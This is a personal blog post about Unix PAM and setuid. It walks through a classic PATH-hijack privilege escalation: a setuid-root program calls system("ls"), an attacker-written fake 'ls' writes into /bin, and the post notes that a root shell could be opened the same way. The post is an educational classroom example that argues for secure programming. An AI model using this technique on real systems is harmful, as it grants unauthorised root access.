SetUID.... Where human intellect meets a dead end

While doing my computer security assignment I was really amused to discover PAM. It is a really nifty way to separate security checking from your code. With just a simple config file modification and no change in the source code or binary( and hence no recompilation), you can charge up the security to levels of insanity. By levels of insanity, I mean that you can make the simple su, passwd commands to not only ask for passwords but also retina scans, voice recognition, DNA analysis (all the biometric systems in short) etc... and on a single user system you can do the reverse, i.e. remove all the security.
Then setUID comes along...
For n00bs, setUID is the mechanism that allows the user to run the program as the owner of the program... great for containing access. So when you change your password, the password file and the passwd have root privileges. The only way out in *nix is to elevate the user to the root just for the duration of program execution. But this seemingly innocent mechanism is the root of all evil. At this point windows' user might ask about their OS.... well Windoze does it differently. They have a service for each and every program requiring root privilege. That means that they have pseudo servers running continuously for each service!!! That's crazy cuz for something as infrequent as changing password, I would hate to run a continuous process on my PC. And they can be exploited too.
Here is how I exploited setUID...

• Suppose there is a file which has its setUID bit set and uses the system() call to do something.

Lets take a dummy file:

#include < unistd.h >
int main(){
 system("“ls"”);
 return 0;
}

• Now complile it #gcc dummy.c -o dummy.
• change the setUID bit... #chmod 4755 dummy.
• Login as a normal user.
• Now you are the attacker. Write a simple file that does something evil say copy or overwrite something in the /bin folder. Here is the barebones program for that.
  

#include < unistd.h >
int main(){
 system("“cp somefile //bin//"”);
 return 0;
}

• Compile it and name the output as ls. $gcc somefile.c -o ls
• Change the Env variable PATH.... $PATH=/home/sridhar/:/bin/ ;export PATH

Run the program dummy as a normal user and BAM... u you have cracked the system. Instead of copying something, I could have opened a root shell and corrupted the whole system.

Now you may argue that why will root user make a program that uses such primitives?? Time and again, tested programs like passwd and the webservers are exploited in this simple way. setUID is inevitable. You need to practice secure programming to stop this from happening... but there are too many venus fly traps. setUID does cover obvious security holes but exposes new ones (the not so obvious types). There are other exploits on setUID too (the more subtler and hence more venomous) but I guess I made my point.

For the past 50 years, the computing community is scrambling to get the perfect security and sandboxing mechanism and we are no closer to the answer now than we were before.